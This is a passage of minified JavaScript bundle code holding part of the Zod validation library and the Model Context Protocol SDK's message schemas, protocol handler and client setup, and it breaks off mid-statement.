fe(r,{received:r.data,code:ie.invalid_literal,expected:this._def.value}),$e}return{status:"valid",value:e.data}}get value(){return this._def.value}};Sn.create=(t,e)=>new Sn({value:t,typeName:Pe.ZodLiteral,...je(e)});function gx(t,e){return new En({values:t,typeName:Pe.ZodEnum,...je(e)})}var En=class t extends qe{_parse(e){if(typeof e.data!="string"){let r=this._getOrReturnCtx(e),n=this._def.values;return fe(r,{expected:He.joinValues(n),received:r.parsedType,code:ie.invalid_type}),$e}if(this._cache||(this._cache=new Set(this._def.values)),!this._cache.has(e.data)){let r=this._getOrReturnCtx(e),n=this._def.values;return fe(r,{received:r.data,code:ie.invalid_enum_value,options:n}),$e}return Ut(e.data)}get options(){return this._def.values}get enum(){let e={};for(let r of this._def.values)e[r]=r;return e}get Values(){let e={};for(let r of this._def.values)e[r]=r;return e}get Enum(){let e={};for(let r of this._def.values)e[r]=r;return e}extract(e,r=this._def){return t.create(e,{...this._def,...r})}exclude(e,r=this._def){return t.create(this.options.filter(n=>!e.includes(n)),{...this._def,...r})}};En.create=gx;var Tn=class extends qe{_parse(e){let r=He.getValidEnumValues(this._def.values),n=this._getOrReturnCtx(e);if(n.parsedType!==ge.string&&n.parsedType!==ge.number){let a=He.objectValues(r);return fe(n,{expected:He.joinValues(a),received:n.parsedType,code:ie.invalid_type}),$e}if(this._cache||(this._cache=new Set(He.getValidEnumValues(this._def.values))),!this._cache.has(e.data)){let a=He.objectValues(r);return fe(n,{received:n.data,code:ie.invalid_enum_value,options:a}),$e}return Ut(e.data)}get enum(){return this._def.values}};Tn.create=(t,e)=>new Tn({values:t,typeName:Pe.ZodNativeEnum,...je(e)});var Na=class extends qe{unwrap(){return this._def.type}_parse(e){let{ctx:r}=this._processInputParams(e);if(r.parsedType!==ge.promise&&r.common.async===!1)return fe(r,{code:ie.invalid_type,expected:ge.promise,received:r.parsedType}),$e;let n=r.parsedType===ge.promise?r.data:Promise.resolve(r.data);return Ut(n.then(a=>this._def.type.parseAsync(a,{path:r.path,errorMap:r.common.contextualErrorMap})))}};Na.create=(t,e)=>new Na({type:t,typeName:Pe.ZodPromise,...je(e)});var wr=class extends qe{innerType(){return this._def.schema}sourceType(){return this._def.schema._def.typeName===Pe.ZodEffects?this._def.schema.sourceType():this._def.schema}_parse(e){let{status:r,ctx:n}=this._processInputParams(e),a=this._def.effect||null,s={addIssue:i=>{fe(n,i),i.fatal?r.abort():r.dirty()},get path(){return n.path}};if(s.addIssue=s.addIssue.bind(s),a.type==="preprocess"){let i=a.transform(n.data,s);if(n.common.async)return Promise.resolve(i).then(async o=>{if(r.value==="aborted")return $e;let c=await this._def.schema._parseAsync({data:o,path:n.path,parent:n});return c.status==="aborted"?$e:c.status==="dirty"?fn(c.value):r.value==="dirty"?fn(c.value):c});{if(r.value==="aborted")return $e;let o=this._def.schema._parseSync({data:i,path:n.path,parent:n});return o.status==="aborted"?$e:o.status==="dirty"?fn(o.value):r.value==="dirty"?fn(o.value):o}}if(a.type==="refinement"){let i=o=>{let c=a.refinement(o,s);if(n.common.async)return Promise.resolve(c);if(c instanceof Promise)throw new Error("Async refinement encountered during synchronous parse operation. Use .parseAsync instead.");return o};if(n.common.async===!1){let o=this._def.schema._parseSync({data:n.data,path:n.path,parent:n});return o.status==="aborted"?$e:(o.status==="dirty"&&r.dirty(),i(o.value),{status:r.value,value:o.value})}else return this._def.schema._parseAsync({data:n.data,path:n.path,parent:n}).then(o=>o.status==="aborted"?$e:(o.status==="dirty"&&r.dirty(),i(o.value).then(()=>({status:r.value,value:o.value}))))}if(a.type==="transform")if(n.common.async===!1){let i=this._def.schema._parseSync({data:n.data,path:n.path,parent:n});if(!Ca(i))return $e;let o=a.transform(i.value,s);if(o instanceof Promise)throw new Error("Asynchronous transform encountered during synchronous parse operation. Use .parseAsync instead.");return{status:r.value,value:o}}else return this._def.schema._parseAsync({data:n.data,path:n.path,parent:n}).then(i=>Ca(i)?Promise.resolve(a.transform(i.value,s)).then(o=>({status:r.value,value:o})):$e);He.assertNever(a)}};wr.create=(t,e,r)=>new wr({schema:t,typeName:Pe.ZodEffects,effect:e,...je(r)});wr.createWithPreprocess=(t,e,r)=>new wr({schema:e,effect:{type:"preprocess",transform:t},typeName:Pe.ZodEffects,...je(r)});var br=class extends qe{_parse(e){return this._getType(e)===ge.undefined?Ut(void 0):this._def.innerType._parse(e)}unwrap(){return this._def.innerType}};br.create=(t,e)=>new br({innerType:t,typeName:Pe.ZodOptional,...je(e)});var ea=class extends qe{_parse(e){return this._getType(e)===ge.null?Ut(null):this._def.innerType._parse(e)}unwrap(){return this._def.innerType}};ea.create=(t,e)=>new ea({innerType:t,typeName:Pe.ZodNullable,...je(e)});var kn=class extends qe{_parse(e){let{ctx:r}=this._processInputParams(e),n=r.data;return r.parsedType===ge.undefined&&(n=this._def.defaultValue()),this._def.innerType._parse({data:n,path:r.path,parent:r})}removeDefault(){return this._def.innerType}};kn.create=(t,e)=>new kn({innerType:t,typeName:Pe.ZodDefault,defaultValue:typeof e.default=="function"?e.default:()=>e.default,...je(e)});var $n=class extends qe{_parse(e){let{ctx:r}=this._processInputParams(e),n={...r,common:{...r.common,issues:[]}},a=this._def.innerType._parse({data:n.data,path:n.path,parent:{...n}});return ks(a)?a.then(s=>({status:"valid",value:s.status==="valid"?s.value:this._def.catchValue({get error(){return new er(n.common.issues)},input:n.data})})):{status:"valid",value:a.status==="valid"?a.value:this._def.catchValue({get error(){return new er(n.common.issues)},input:n.data})}}removeCatch(){return this._def.innerType}};$n.create=(t,e)=>new $n({innerType:t,typeName:Pe.ZodCatch,catchValue:typeof e.catch=="function"?e.catch:()=>e.catch,...je(e)});var Is=class extends qe{_parse(e){if(this._getType(e)!==ge.nan){let n=this._getOrReturnCtx(e);return fe(n,{code:ie.invalid_type,expected:ge.nan,received:n.parsedType}),$e}return{status:"valid",value:e.data}}};Is.create=t=>new Is({typeName:Pe.ZodNaN,...je(t)});var c2=Symbol("zod_brand"),eo=class extends qe{_parse(e){let{ctx:r}=this._processInputParams(e),n=r.data;return this._def.type._parse({data:n,path:r.path,parent:r})}unwrap(){return this._def.type}},to=class t extends qe{_parse(e){let{status:r,ctx:n}=this._processInputParams(e);if(n.common.async)return(async()=>{let s=await this._def.in._parseAsync({data:n.data,path:n.path,parent:n});return s.status==="aborted"?$e:s.status==="dirty"?(r.dirty(),fn(s.value)):this._def.out._parseAsync({data:s.value,path:n.path,parent:n})})();{let a=this._def.in._parseSync({data:n.data,path:n.path,parent:n});return a.status==="aborted"?$e:a.status==="dirty"?(r.dirty(),{status:"dirty",value:a.value}):this._def.out._parseSync({data:a.value,path:n.path,parent:n})}}static create(e,r){return new t({in:e,out:r,typeName:Pe.ZodPipeline})}},Rn=class extends qe{_parse(e){let r=this._def.innerType._parse(e),n=a=>(Ca(a)&&(a.value=Object.freeze(a.value)),a);return ks(r)?r.then(a=>n(a)):n(r)}unwrap(){return this._def.innerType}};Rn.create=(t,e)=>new Rn({innerType:t,typeName:Pe.ZodReadonly,...je(e)});function fx(t,e){let r=typeof t=="function"?t(e):typeof t=="string"?{message:t}:t;return typeof r=="string"?{message:r}:r}function yx(t,e={},r){return t?Aa.create().superRefine((n,a)=>{let s=t(n);if(s instanceof Promise)return s.then(i=>{if(!i){let o=fx(e,n),c=o.fatal??r??!0;a.addIssue({code:"custom",...o,fatal:c})}});if(!s){let i=fx(e,n),o=i.fatal??r??!0;a.addIssue({code:"custom",...i,fatal:o})}}):Aa.create()}var u2={object:tr.lazycreate},Pe;(function(t){t.ZodString="ZodString",t.ZodNumber="ZodNumber",t.ZodNaN="ZodNaN",t.ZodBigInt="ZodBigInt",t.ZodBoolean="ZodBoolean",t.ZodDate="ZodDate",t.ZodSymbol="ZodSymbol",t.ZodUndefined="ZodUndefined",t.ZodNull="ZodNull",t.ZodAny="ZodAny",t.ZodUnknown="ZodUnknown",t.ZodNever="ZodNever",t.ZodVoid="ZodVoid",t.ZodArray="ZodArray",t.ZodObject="ZodObject",t.ZodUnion="ZodUnion",t.ZodDiscriminatedUnion="ZodDiscriminatedUnion",t.ZodIntersection="ZodIntersection",t.ZodTuple="ZodTuple",t.ZodRecord="ZodRecord",t.ZodMap="ZodMap",t.ZodSet="ZodSet",t.ZodFunction="ZodFunction",t.ZodLazy="ZodLazy",t.ZodLiteral="ZodLiteral",t.ZodEnum="ZodEnum",t.ZodEffects="ZodEffects",t.ZodNativeEnum="ZodNativeEnum",t.ZodOptional="ZodOptional",t.ZodNullable="ZodNullable",t.ZodDefault="ZodDefault",t.ZodCatch="ZodCatch",t.ZodPromise="ZodPromise",t.ZodBranded="ZodBranded",t.ZodPipeline="ZodPipeline",t.ZodReadonly="ZodReadonly"})(Pe||(Pe={}));var l2=(t,e={message:`Input not instance of ${t.name}`})=>yx(r=>r instanceof t,e),_x=Ia.create,bx=mn.create,d2=Is.create,p2=hn.create,xx=vn.create,f2=gn.create,m2=Rs.create,h2=yn.create,v2=_n.create,g2=Aa.create,y2=fa.create,_2=Mr.create,b2=Ps.create,x2=ma.create,w2=tr.create,S2=tr.strictCreate,E2=bn.create,T2=Yc.create,k2=xn.create,$2=Qr.create,R2=Qc.create,P2=Os.create,O2=Cs.create,C2=eu.create,I2=wn.create,A2=Sn.create,N2=En.create,j2=Tn.create,M2=Na.create,D2=wr.create,q2=br.create,L2=ea.create,F2=wr.createWithPreprocess,z2=to.create,U2=()=>_x().optional(),H2=()=>bx().optional(),B2=()=>xx().optional(),V2={string:(t=>Ia.create({...t,coerce:!0})),number:(t=>mn.create({...t,coerce:!0})),boolean:(t=>vn.create({...t,coerce:!0})),bigint:(t=>hn.create({...t,coerce:!0})),date:(t=>gn.create({...t,coerce:!0}))};var Z2=$e;var Jp="2025-06-18";var wx=[Jp,"2025-03-26","2024-11-05","2024-10-07"],tu="2.0",Sx=P.union([P.string(),P.number().int()]),Ex=P.string(),G2=P.object({progressToken:P.optional(Sx)}).passthrough(),Tr=P.object({_meta:P.optional(G2)}).passthrough(),rr=P.object({method:P.string(),params:P.optional(Tr)}),ro=P.object({_meta:P.optional(P.object({}).passthrough())}).passthrough(),ta=P.object({method:P.string(),params:P.optional(ro)}),kr=P.object({_meta:P.optional(P.object({}).passthrough())}).passthrough(),ru=P.union([P.string(),P.number().int()]),Tx=P.object({jsonrpc:P.literal(tu),id:ru}).merge(rr).strict(),kx=t=>Tx.safeParse(t).success,$x=P.object({jsonrpc:P.literal(tu)}).merge(ta).strict(),Rx=t=>$x.safeParse(t).success,Px=P.object({jsonrpc:P.literal(tu),id:ru,result:kr}).strict(),Yp=t=>Px.safeParse(t).success,Sr;(function(t){t[t.ConnectionClosed=-32e3]="ConnectionClosed",t[t.RequestTimeout=-32001]="RequestTimeout",t[t.ParseError=-32700]="ParseError",t[t.InvalidRequest=-32600]="InvalidRequest",t[t.MethodNotFound=-32601]="MethodNotFound",t[t.InvalidParams=-32602]="InvalidParams",t[t.InternalError=-32603]="InternalError"})(Sr||(Sr={}));var Ox=P.object({jsonrpc:P.literal(tu),id:ru,error:P.object({code:P.number().int(),message:P.string(),data:P.optional(P.unknown())})}).strict(),Cx=t=>Ox.safeParse(t).success,Ix=P.union([Tx,$x,Px,Ox]),Pn=kr.strict(),au=ta.extend({method:P.literal("notifications/cancelled"),params:ro.extend({requestId:ru,reason:P.string().optional()})}),W2=P.object({src:P.string(),mimeType:P.optional(P.string()),sizes:P.optional(P.array(P.string()))}).passthrough(),ao=P.object({icons:P.array(W2).optional()}).passthrough(),no=P.object({name:P.string(),title:P.optional(P.string())}).passthrough(),Ax=no.extend({version:P.string(),websiteUrl:P.optional(P.string())}).merge(ao),K2=P.object({experimental:P.optional(P.object({}).passthrough()),sampling:P.optional(P.object({}).passthrough()),elicitation:P.optional(P.object({}).passthrough()),roots:P.optional(P.object({listChanged:P.optional(P.boolean())}).passthrough())}).passthrough(),X2=rr.extend({method:P.literal("initialize"),params:Tr.extend({protocolVersion:P.string(),capabilities:K2,clientInfo:Ax})});var J2=P.object({experimental:P.optional(P.object({}).passthrough()),logging:P.optional(P.object({}).passthrough()),completions:P.optional(P.object({}).passthrough()),prompts:P.optional(P.object({listChanged:P.optional(P.boolean())}).passthrough()),resources:P.optional(P.object({subscribe:P.optional(P.boolean()),listChanged:P.optional(P.boolean())}).passthrough()),tools:P.optional(P.object({listChanged:P.optional(P.boolean())}).passthrough())}).passthrough(),Qp=kr.extend({protocolVersion:P.string(),capabilities:J2,serverInfo:Ax,instructions:P.optional(P.string())}),Y2=ta.extend({method:P.literal("notifications/initialized")});var nu=rr.extend({method:P.literal("ping")}),Q2=P.object({progress:P.number(),total:P.optional(P.number()),message:P.optional(P.string())}).passthrough(),su=ta.extend({method:P.literal("notifications/progress"),params:ro.merge(Q2).extend({progressToken:Sx})}),iu=rr.extend({params:Tr.extend({cursor:P.optional(Ex)}).optional()}),ou=kr.extend({nextCursor:P.optional(Ex)}),Nx=P.object({uri:P.string(),mimeType:P.optional(P.string()),_meta:P.optional(P.object({}).passthrough())}).passthrough(),jx=Nx.extend({text:P.string()}),ef=P.string().refine(t=>{try{return atob(t),!0}catch{return!1}},{message:"Invalid Base64 string"}),Mx=Nx.extend({blob:ef}),Dx=no.extend({uri:P.string(),description:P.optional(P.string()),mimeType:P.optional(P.string()),_meta:P.optional(P.object({}).passthrough())}).merge(ao),eD=no.extend({uriTemplate:P.string(),description:P.optional(P.string()),mimeType:P.optional(P.string()),_meta:P.optional(P.object({}).passthrough())}).merge(ao),tD=iu.extend({method:P.literal("resources/list")}),tf=ou.extend({resources:P.array(Dx)}),rD=iu.extend({method:P.literal("resources/templates/list")}),rf=ou.extend({resourceTemplates:P.array(eD)}),aD=rr.extend({method:P.literal("resources/read"),params:Tr.extend({uri:P.string()})}),af=kr.extend({contents:P.array(P.union([jx,Mx]))}),nD=ta.extend({method:P.literal("notifications/resources/list_changed")}),sD=rr.extend({method:P.literal("resources/subscribe"),params:Tr.extend({uri:P.string()})}),iD=rr.extend({method:P.literal("resources/unsubscribe"),params:Tr.extend({uri:P.string()})}),oD=ta.extend({method:P.literal("notifications/resources/updated"),params:ro.extend({uri:P.string()})}),cD=P.object({name:P.string(),description:P.optional(P.string()),required:P.optional(P.boolean())}).passthrough(),uD=no.extend({description:P.optional(P.string()),arguments:P.optional(P.array(cD)),_meta:P.optional(P.object({}).passthrough())}).merge(ao),lD=iu.extend({method:P.literal("prompts/list")}),nf=ou.extend({prompts:P.array(uD)}),dD=rr.extend({method:P.literal("prompts/get"),params:Tr.extend({name:P.string(),arguments:P.optional(P.record(P.string()))})}),sf=P.object({type:P.literal("text"),text:P.string(),_meta:P.optional(P.object({}).passthrough())}).passthrough(),of=P.object({type:P.literal("image"),data:ef,mimeType:P.string(),_meta:P.optional(P.object({}).passthrough())}).passthrough(),cf=P.object({type:P.literal("audio"),data:ef,mimeType:P.string(),_meta:P.optional(P.object({}).passthrough())}).passthrough(),pD=P.object({type:P.literal("resource"),resource:P.union([jx,Mx]),_meta:P.optional(P.object({}).passthrough())}).passthrough(),fD=Dx.extend({type:P.literal("resource_link")}),qx=P.union([sf,of,cf,fD,pD]),mD=P.object({role:P.enum(["user","assistant"]),content:qx}).passthrough(),uf=kr.extend({description:P.optional(P.string()),messages:P.array(mD)}),hD=ta.extend({method:P.literal("notifications/prompts/list_changed")}),vD=P.object({title:P.optional(P.string()),readOnlyHint:P.optional(P.boolean()),destructiveHint:P.optional(P.boolean()),idempotentHint:P.optional(P.boolean()),openWorldHint:P.optional(P.boolean())}).passthrough(),gD=no.extend({description:P.optional(P.string()),inputSchema:P.object({type:P.literal("object"),properties:P.optional(P.object({}).passthrough()),required:P.optional(P.array(P.string()))}).passthrough(),outputSchema:P.optional(P.object({type:P.literal("object"),properties:P.optional(P.object({}).passthrough()),required:P.optional(P.array(P.string()))}).passthrough()),annotations:P.optional(vD),_meta:P.optional(P.object({}).passthrough())}).merge(ao),yD=iu.extend({method:P.literal("tools/list")}),lf=ou.extend({tools:P.array(gD)}),cu=kr.extend({content:P.array(qx).default([]),structuredContent:P.object({}).passthrough().optional(),isError:P.optional(P.boolean())}),WG=cu.or(kr.extend({toolResult:P.unknown()})),_D=rr.extend({method:P.literal("tools/call"),params:Tr.extend({name:P.string(),arguments:P.optional(P.record(P.unknown()))})}),bD=ta.extend({method:P.literal("notifications/tools/list_changed")}),Lx=P.enum(["debug","info","notice","warning","error","critical","alert","emergency"]),xD=rr.extend({method:P.literal("logging/setLevel"),params:Tr.extend({level:Lx})}),wD=ta.extend({method:P.literal("notifications/message"),params:ro.extend({level:Lx,logger:P.optional(P.string()),data:P.unknown()})}),SD=P.object({name:P.string().optional()}).passthrough(),ED=P.object({hints:P.optional(P.array(SD)),costPriority:P.optional(P.number().min(0).max(1)),speedPriority:P.optional(P.number().min(0).max(1)),intelligencePriority:P.optional(P.number().min(0).max(1))}).passthrough(),TD=P.object({role:P.enum(["user","assistant"]),content:P.union([sf,of,cf])}).passthrough(),kD=rr.extend({method:P.literal("sampling/createMessage"),params:Tr.extend({messages:P.array(TD),systemPrompt:P.optional(P.string()),includeContext:P.optional(P.enum(["none","thisServer","allServers"])),temperature:P.optional(P.number()),maxTokens:P.number().int(),stopSequences:P.optional(P.array(P.string())),metadata:P.optional(P.object({}).passthrough()),modelPreferences:P.optional(ED)})}),$D=kr.extend({model:P.string(),stopReason:P.optional(P.enum(["endTurn","stopSequence","maxTokens"]).or(P.string())),role:P.enum(["user","assistant"]),content:P.discriminatedUnion("type",[sf,of,cf])}),RD=P.object({type:P.literal("boolean"),title:P.optional(P.string()),description:P.optional(P.string()),default:P.optional(P.boolean())}).passthrough(),PD=P.object({type:P.literal("string"),title:P.optional(P.string()),description:P.optional(P.string()),minLength:P.optional(P.number()),maxLength:P.optional(P.number()),format:P.optional(P.enum(["email","uri","date","date-time"]))}).passthrough(),OD=P.object({type:P.enum(["number","integer"]),title:P.optional(P.string()),description:P.optional(P.string()),minimum:P.optional(P.number()),maximum:P.optional(P.number())}).passthrough(),CD=P.object({type:P.literal("string"),title:P.optional(P.string()),description:P.optional(P.string()),enum:P.array(P.string()),enumNames:P.optional(P.array(P.string()))}).passthrough(),ID=P.union([RD,PD,OD,CD]),AD=rr.extend({method:P.literal("elicitation/create"),params:Tr.extend({message:P.string(),requestedSchema:P.object({type:P.literal("object"),properties:P.record(P.string(),ID),required:P.optional(P.array(P.string()))}).passthrough()})}),ND=kr.extend({action:P.enum(["accept","decline","cancel"]),content:P.optional(P.record(P.string(),P.unknown()))}),jD=P.object({type:P.literal("ref/resource"),uri:P.string()}).passthrough();var MD=P.object({type:P.literal("ref/prompt"),name:P.string()}).passthrough(),DD=rr.extend({method:P.literal("completion/complete"),params:Tr.extend({ref:P.union([MD,jD]),argument:P.object({name:P.string(),value:P.string()}).passthrough(),context:P.optional(P.object({arguments:P.optional(P.record(P.string(),P.string()))}))})}),df=kr.extend({completion:P.object({values:P.array(P.string()).max(100),total:P.optional(P.number().int()),hasMore:P.optional(P.boolean())}).passthrough()}),qD=P.object({uri:P.string().startsWith("file://"),name:P.optional(P.string()),_meta:P.optional(P.object({}).passthrough())}).passthrough(),LD=rr.extend({method:P.literal("roots/list")}),FD=kr.extend({roots:P.array(qD)}),zD=ta.extend({method:P.literal("notifications/roots/list_changed")}),KG=P.union([nu,X2,DD,xD,dD,lD,tD,rD,aD,sD,iD,_D,yD]),XG=P.union([au,su,Y2,zD]),JG=P.union([Pn,$D,ND,FD]),YG=P.union([nu,kD,AD,LD]),QG=P.union([au,su,wD,oD,nD,bD,hD]),eW=P.union([Pn,Qp,df,uf,nf,tf,rf,af,cu,lf]),Er=class extends Error{constructor(e,r,n){super(`MCP error ${e}: ${r}`),this.code=e,this.data=n,this.name="McpError"}};var UD=6e4,uu=class{constructor(e){this._options=e,this._requestMessageId=0,this._requestHandlers=new Map,this._requestHandlerAbortControllers=new Map,this._notificationHandlers=new Map,this._responseHandlers=new Map,this._progressHandlers=new Map,this._timeoutInfo=new Map,this._pendingDebouncedNotifications=new Set,this.setNotificationHandler(au,r=>{let n=this._requestHandlerAbortControllers.get(r.params.requestId);n?.abort(r.params.reason)}),this.setNotificationHandler(su,r=>{this._onprogress(r)}),this.setRequestHandler(nu,r=>({}))}_setupTimeout(e,r,n,a,s=!1){this._timeoutInfo.set(e,{timeoutId:setTimeout(a,r),startTime:Date.now(),timeout:r,maxTotalTimeout:n,resetTimeoutOnProgress:s,onTimeout:a})}_resetTimeout(e){let r=this._timeoutInfo.get(e);if(!r)return!1;let n=Date.now()-r.startTime;if(r.maxTotalTimeout&&n>=r.maxTotalTimeout)throw this._timeoutInfo.delete(e),new Er(Sr.RequestTimeout,"Maximum total timeout exceeded",{maxTotalTimeout:r.maxTotalTimeout,totalElapsed:n});return clearTimeout(r.timeoutId),r.timeoutId=setTimeout(r.onTimeout,r.timeout),!0}_cleanupTimeout(e){let r=this._timeoutInfo.get(e);r&&(clearTimeout(r.timeoutId),this._timeoutInfo.delete(e))}async connect(e){var r,n,a;this._transport=e;let s=(r=this.transport)===null||r===void 0?void 0:r.onclose;this._transport.onclose=()=>{s?.(),this._onclose()};let i=(n=this.transport)===null||n===void 0?void 0:n.onerror;this._transport.onerror=c=>{i?.(c),this._onerror(c)};let o=(a=this._transport)===null||a===void 0?void 0:a.onmessage;this._transport.onmessage=(c,u)=>{o?.(c,u),Yp(c)||Cx(c)?this._onresponse(c):kx(c)?this._onrequest(c,u):Rx(c)?this._onnotification(c):this._onerror(new Error(`Unknown message type: ${JSON.stringify(c)}`))},await this._transport.start()}_onclose(){var e;let r=this._responseHandlers;this._responseHandlers=new Map,this._progressHandlers.clear(),this._pendingDebouncedNotifications.clear(),this._transport=void 0,(e=this.onclose)===null||e===void 0||e.call(this);let n=new Er(Sr.ConnectionClosed,"Connection closed");for(let a of r.values())a(n)}_onerror(e){var r;(r=this.onerror)===null||r===void 0||r.call(this,e)}_onnotification(e){var r;let n=(r=this._notificationHandlers.get(e.method))!==null&&r!==void 0?r:this.fallbackNotificationHandler;n!==void 0&&Promise.resolve().then(()=>n(e)).catch(a=>this._onerror(new Error(`Uncaught error in notification handler: ${a}`)))}_onrequest(e,r){var n,a;let s=(n=this._requestHandlers.get(e.method))!==null&&n!==void 0?n:this.fallbackRequestHandler,i=this._transport;if(s===void 0){i?.send({jsonrpc:"2.0",id:e.id,error:{code:Sr.MethodNotFound,message:"Method not found"}}).catch(u=>this._onerror(new Error(`Failed to send an error response: ${u}`)));return}let o=new AbortController;this._requestHandlerAbortControllers.set(e.id,o);let c={signal:o.signal,sessionId:i?.sessionId,_meta:(a=e.params)===null||a===void 0?void 0:a._meta,sendNotification:u=>this.notification(u,{relatedRequestId:e.id}),sendRequest:(u,l,d)=>this.request(u,l,{...d,relatedRequestId:e.id}),authInfo:r?.authInfo,requestId:e.id,requestInfo:r?.requestInfo};Promise.resolve().then(()=>s(e,c)).then(u=>{if(!o.signal.aborted)return i?.send({result:u,jsonrpc:"2.0",id:e.id})},u=>{var l;if(!o.signal.aborted)return i?.send({jsonrpc:"2.0",id:e.id,error:{code:Number.isSafeInteger(u.code)?u.code:Sr.InternalError,message:(l=u.message)!==null&&l!==void 0?l:"Internal error"}})}).catch(u=>this._onerror(new Error(`Failed to send response: ${u}`))).finally(()=>{this._requestHandlerAbortControllers.delete(e.id)})}_onprogress(e){let{progressToken:r,...n}=e.params,a=Number(r),s=this._progressHandlers.get(a);if(!s){this._onerror(new Error(`Received a progress notification for an unknown token: ${JSON.stringify(e)}`));return}let i=this._responseHandlers.get(a),o=this._timeoutInfo.get(a);if(o&&i&&o.resetTimeoutOnProgress)try{this._resetTimeout(a)}catch(c){i(c);return}s(n)}_onresponse(e){let r=Number(e.id),n=this._responseHandlers.get(r);if(n===void 0){this._onerror(new Error(`Received a response for an unknown message ID: ${JSON.stringify(e)}`));return}if(this._responseHandlers.delete(r),this._progressHandlers.delete(r),this._cleanupTimeout(r),Yp(e))n(e);else{let a=new Er(e.error.code,e.error.message,e.error.data);n(a)}}get transport(){return this._transport}async close(){var e;await((e=this._transport)===null||e===void 0?void 0:e.close())}request(e,r,n){let{relatedRequestId:a,resumptionToken:s,onresumptiontoken:i}=n??{};return new Promise((o,c)=>{var u,l,d,f,m,g;if(!this._transport){c(new Error("Not connected"));return}((u=this._options)===null||u===void 0?void 0:u.enforceStrictCapabilities)===!0&&this.assertCapabilityForMethod(e.method),(l=n?.signal)===null||l===void 0||l.throwIfAborted();let b=this._requestMessageId++,p={...e,jsonrpc:"2.0",id:b};n?.onprogress&&(this._progressHandlers.set(b,n.onprogress),p.params={...e.params,_meta:{...((d=e.params)===null||d===void 0?void 0:d._meta)||{},progressToken:b}});let h=_=>{var S;this._responseHandlers.delete(b),this._progressHandlers.delete(b),this._cleanupTimeout(b),(S=this._transport)===null||S===void 0||S.send({jsonrpc:"2.0",method:"notifications/cancelled",params:{requestId:b,reason:String(_)}},{relatedRequestId:a,resumptionToken:s,onresumptiontoken:i}).catch(x=>this._onerror(new Error(`Failed to send cancellation: ${x}`))),c(_)};this._responseHandlers.set(b,_=>{var S;if(!(!((S=n?.signal)===null||S===void 0)&&S.aborted)){if(_ instanceof Error)return c(_);try{let x=r.parse(_.result);o(x)}catch(x){c(x)}}}),(f=n?.signal)===null||f===void 0||f.addEventListener("abort",()=>{var _;h((_=n?.signal)===null||_===void 0?void 0:_.reason)});let y=(m=n?.timeout)!==null&&m!==void 0?m:UD,v=()=>h(new Er(Sr.RequestTimeout,"Request timed out",{timeout:y}));this._setupTimeout(b,y,n?.maxTotalTimeout,v,(g=n?.resetTimeoutOnProgress)!==null&&g!==void 0?g:!1),this._transport.send(p,{relatedRequestId:a,resumptionToken:s,onresumptiontoken:i}).catch(_=>{this._cleanupTimeout(b),c(_)})})}async notification(e,r){var n,a;if(!this._transport)throw new Error("Not connected");if(this.assertNotificationCapability(e.method),((a=(n=this._options)===null||n===void 0?void 0:n.debouncedNotificationMethods)!==null&&a!==void 0?a:[]).includes(e.method)&&!e.params&&!r?.relatedRequestId){if(this._pendingDebouncedNotifications.has(e.method))return;this._pendingDebouncedNotifications.add(e.method),Promise.resolve().then(()=>{var c;if(this._pendingDebouncedNotifications.delete(e.method),!this._transport)return;let u={...e,jsonrpc:"2.0"};(c=this._transport)===null||c===void 0||c.send(u,r).catch(l=>this._onerror(l))});return}let o={...e,jsonrpc:"2.0"};await this._transport.send(o,r)}setRequestHandler(e,r){let n=e.shape.method.value;this.assertRequestHandlerCapability(n),this._requestHandlers.set(n,(a,s)=>Promise.resolve(r(e.parse(a),s)))}removeRequestHandler(e){this._requestHandlers.delete(e)}assertCanSetRequestHandler(e){if(this._requestHandlers.has(e))throw new Error(`A request handler for ${e} already exists, which would be overridden`)}setNotificationHandler(e,r){this._notificationHandlers.set(e.shape.method.value,n=>Promise.resolve(r(e.parse(n))))}removeNotificationHandler(e){this._notificationHandlers.delete(e)}};function Fx(t,e){return Object.entries(e).reduce((r,[n,a])=>(a&&typeof a=="object"?r[n]=r[n]?{...r[n],...a}:a:r[n]=a,r),{...t})}var US=kt(zS(),1),As=class extends uu{constructor(e,r){var n;super(r),this._clientInfo=e,this._cachedToolOutputValidators=new Map,this._capabilities=(n=r?.capabilities)!==null&&n!==void 0?n:{},this._ajv=new US.default}registerCapabilities(e){if(this.transport)throw new Error("Cannot register capabilities after connecting to transport");this._capabilities=Fx(this._capabilities,e)}assertCapability(e,r){var n;if(!(!((n=this._serverCapabilities)===null||n===void 0)&&n[e]))throw new Error(`Server does not support ${e} (required for ${r})`)}async connect(e,r){if(await super.connect(e),e.sessionId===void 0)try{let n=await this.request({method:"initialize",params:{protocolVersion:Jp,capabilities:this._capabilities,clientInfo:this._clientInfo}},Qp,r);if(n===void 0)throw new Error(`Server sent invalid initialize result: ${n}`);if(!wx.includes(n.protocolVersion))throw new Error(`Server's protocol version is not supported: ${n.protocolVersion}`);this._serverCapabilities=n.capabilities,this._serverVersion=n.serverInfo,e.setProtocolVersion&&e.setProtocolVersion(n.protocolVersion),this._instructions=n.instructions,await this.notification({method:"notifications/initialized"})}catch(n){throw this.close(),n}}getServerCapabilities(){return this._serverCapabilities}getServerVersion(){return this._serverVersion}getInstructions(){return this._instructions}assertCapabilityForMethod(e){var r,n,a,s,i;switch(e){case"logging/setLevel":if(!(!((r=this._serverCapabilities)===null||r===void 0)&&r.logging))throw new Error(`Server does not support logging (required for ${e})`);break;case"prompts/get":case"prompts/list":if(!(!((n=this._serverCapabilities)===null||n===void 0)&&n.prompts))throw new Error(`Server does not support prompts (required for ${e})`);break;case"resources/list":case"resources/templates/list":case"resources/read":case"resources/subscribe":case"resources/unsubscribe":if(!(!((a=this._serverCapabilities)===null||a===void 0)&&a.resources))throw new Error(`Server does not support resources (required for ${e})`);if(e==="resources/subscribe"&&!this._serverCapabilities.resources.subscribe)throw new Error(`Server does not support resource subscriptions (required for ${e})`);break;case"tools/call":case"tools/list":if(!(!((s=this._serverCapabilities)===null||s===void 0)&&s.tools))throw new Error(`Server does not support tools (required for ${e})`);break;case"completion/complete":if(!(!((i=this._serverCapabilities)===null||i===void 0)&&i.completions))throw new Error(`Server does not support completions (required for ${e})`);break;case"initialize":break;case"ping":break}}assertNotificationCapability(e){var r;switch(e){case"notifications/roots/list_changed":if(!(!((r=this._capabilities.roots)===null||r===void 0)&&r.listChanged))throw new Error(`Client does not support roots list changed notifications (required for ${e})`);break;case"notifications/initialized":break;case"notifications/cancelled":break;case"notifications/progress":break}}assertRequestHandlerCapability(e){switch(e){case"sampling/createMessage":if(!this._capabilities.sampling)throw new Error(`Client does not support sampling capability (required for ${e})`);break;case"elicitation/create":if(!this._capabilities.elicitation)throw new Error(`Client does not support elicitation capability (required for 